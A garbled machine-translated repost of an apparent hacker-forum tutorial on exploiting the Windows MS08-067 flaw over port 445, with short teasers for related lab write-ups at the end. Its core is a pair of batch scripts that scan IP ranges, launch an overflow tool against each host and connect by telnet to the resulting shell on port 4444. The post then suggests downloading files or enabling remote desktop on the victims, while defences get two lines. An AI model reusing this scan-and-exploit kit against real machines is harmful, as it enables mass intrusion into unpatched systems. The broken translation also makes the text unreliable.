445 overflow port MS08-067 take cmdshell

(For testing only, but now it can not be used

Reprinted from: http: //www.cnhonkerarmy.com/thread-167512-1-1.html)

Detailed Vulnerability:

     445 portUsually in the overflow call destination hostThe listening port 4444, The corresponding PID is 2030 (random value). There is no doubt that she should be a system corresponding to the service, enter tasklist / svc found for the process is svchost.exe. The process has multiple services in the system, but the svchost.exe process PID 2032 is a host process, which includes things like:lanmanserver,lanmanworkstaione,Netman,EventSystem,SharedAccessAnd other system services.

That in the end is which system services trigger the vulnerability of it? After testing, whenComputer Browser、Server、WorkstationThese three systems serviceAny of the service after being shut down by MS08-067.exe overflow tests fail!
So these three systems are visible service caused MS08-067 vulnerability, which Microsoft says the vulnerability "Server" service there is a serious flaw in the handling of RPC requests during "coincide. So these three services are doing it? What does it matter to each other?ServerWindows is an important service system, and its main role is to "" support the computer network file, printer, and rename. "AndComputer BrowserThe role of the service is "network computer maintenance updates columns do not, and will provide a list of the computers designated as browsers" and Server are dependencies. In addition,WorkstationThe role of the service is "wear parts and maintenance services to remote client network connection" with the Computer Browser is dependency. The above analysis provides an idea prevention MS08-067 vulnerability for us.

  Tools: MS08-067 Overflow Kit

1. Let's look at our toolkit is what the tool bar.

Wherein attack.bat batch code is as follows:

@echo off
color a
title MS08067 -auto attack
for /f "eol= tokens=1,2 delims= " %%i in (ip.txt) do s syn %%i %%j 445 /save
for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>ips.txt
del s1.txt
del s2.txt
del Result.txt
for /f %%i in (ip.txt) do (
ms08067 %%i
echo overflow and try to log in %% i was landing Telnet .....
start c.exe /k telnet %%i 4444
)
pause

Services.bat batch code is as follows:

@echo off
color b
Former title into sleep need to open the service
echo.
sc config browser start= auto
sc config lanmanworkstation start= auto
sc config lanmanserver start =auto
sc config sharedaccess start =demand
sc start browser
sc start lanmanworkstation
sc start lanmanserver
sc stop sharedaccess
echo open service is completed
pause

2. First executionServices.batAfter opening related services, and then fill in the need to scan the IP segment in ip.txt, clickacctack.batStarted scanning.

3. After the end of the scan start the automatic overflow program, to bring up the N CMD programs, if too many programs may overflow press Ctrl + C keys perform pause scanning window. N program overflow in connection fails, there are overflow successful,Overflow successful direct path to get to C: \ windows \ system32 of CMDshell。

4. After obtaining cmdshell, I would like to mention how you go right, I will not say more - you can perform a download or open the terminal end radmin service for the host PC 445 can perform double-click operation 3389! Remember, after the spill must succeedA command to execute arbitrary cmdshell, a long time is not performed to prevent the lead disconnected。

445 port to prevent overflow method:

1.Ms08067 install patches.
2.Create IP Security Policy shield 445 port.

Note: The article is only for technical reference, not for illegal purposes, or peril!

Intelligent Recommendation

MS08-067 vulnerability

MS08-067 vulnerability lab environment 1.kali linux（ip：192.168.131.131） 2.windows xp （ip：192.168.131.134） Port detection nmap 192.168.131.134 It is found that high-risk ports such as 445 and 3389 are ...

MS08-067 Utilization

Purpose Using the MS08-067 vulnerability in the Windows platform, the remote command execution operation was successfully performed, and the 3389 remote login was successfully performed. Ports used: 4...

Microsoft ms08-067 penetration practice

Brief Description: The MS08-067 vulnerability is referred to as the "Windows Server Services RPC Request Buffer Overflow Vulnerability" and could allow remote code execution if a user receiv...

The reappearance and exploitation of ms08-067 vulnerability

1. Construction of experimental environment 1. Target machine: a vulnerable windows xp 2002 ip: 192.168.0.116 2. Attacking machine: a kail liunx, a kail liunx, ip, ip: 192.168.0.110, ip, 192.168.0.110...

Metasploit tool exploit MS08-067

MS08-067 vulnerability reproduction Collect drone information Start to penetrate Post-infiltration command Related commands Collect drone information Collect the IP of the target machine through Nmap ...